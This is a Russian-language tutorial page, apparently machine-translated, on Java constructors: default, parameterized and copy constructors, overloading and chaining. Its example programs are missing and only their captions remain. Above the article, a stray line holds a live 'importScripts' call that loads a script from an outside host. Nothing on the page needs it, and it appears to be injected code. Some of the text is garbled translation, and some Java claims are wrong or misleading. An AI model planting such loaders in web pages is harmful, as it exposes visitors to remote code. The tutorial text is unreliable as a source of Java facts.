google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Конструктор в Java

  • Конструктор - это специальный метод, который используется для 
    инициализации состояния объекта.
  • Конструктор - это специальный метод, потому что он имеет следующие 
    свойства:
- Автоматически вызывается
- Имя конструктора совпадает с именем класса
- Нет типа возврата
  • Программист не может вызывать конструктор явно. Вызывается 
    автоматически при создании объекта.
  • Конструктор неявно возвращает это (ссылка на текущий объект).

Типы конструктора

Конструктор по умолчанию

Конструктор по умолчанию не принимает аргументов и 
используется для инициализации значений объекта по умолчанию.
Конструктор по умолчанию


Параметризованный конструктор

Конструктор, имеющий один или несколько аргументов, называется параметризованным конструктором. Пример параметризованного конструктора приведен ниже.


Копировать конструктор

Конструктор копирования - это тип параметризованного конструктора. Он 
используется для копирования существующих значений объекта в другой объект во время его создания 
.
Копировать конструктор
  • В Java каждый класс имеет конструктор. Если мы не напишем никакой 
    конструктор в нашем классе, то компилятор 
    неявно добавит конструктор по умолчанию Это можно доказать, декомпилировав файл .class, как показано ниже.
Конструктор в Java
  • Конструктор может быть перегружен так же, как и метод перегрузки.
  • Конструктор может быть закрытым, но не может быть окончательным (постоянным).
Соблюдайте ниже программу:
конструктор в Java

В приведенной выше программе мы использовали temp () два раза. Задумывались ли вы, 
как компилятор различает temp () и void temp ()? Это делается по их позициям, 
первый temp () обрабатывается как конструктор, а следующий temp () обрабатывается как метод.

Конструктор цепочки

Вызов одного конструктора из другого конструктора называется 
цепочкой конструктора. Ниже программа демонстрирует концепцию конструирования цепочки.
Конструктор цепочки

Комментариев нет:

Отправить комментарий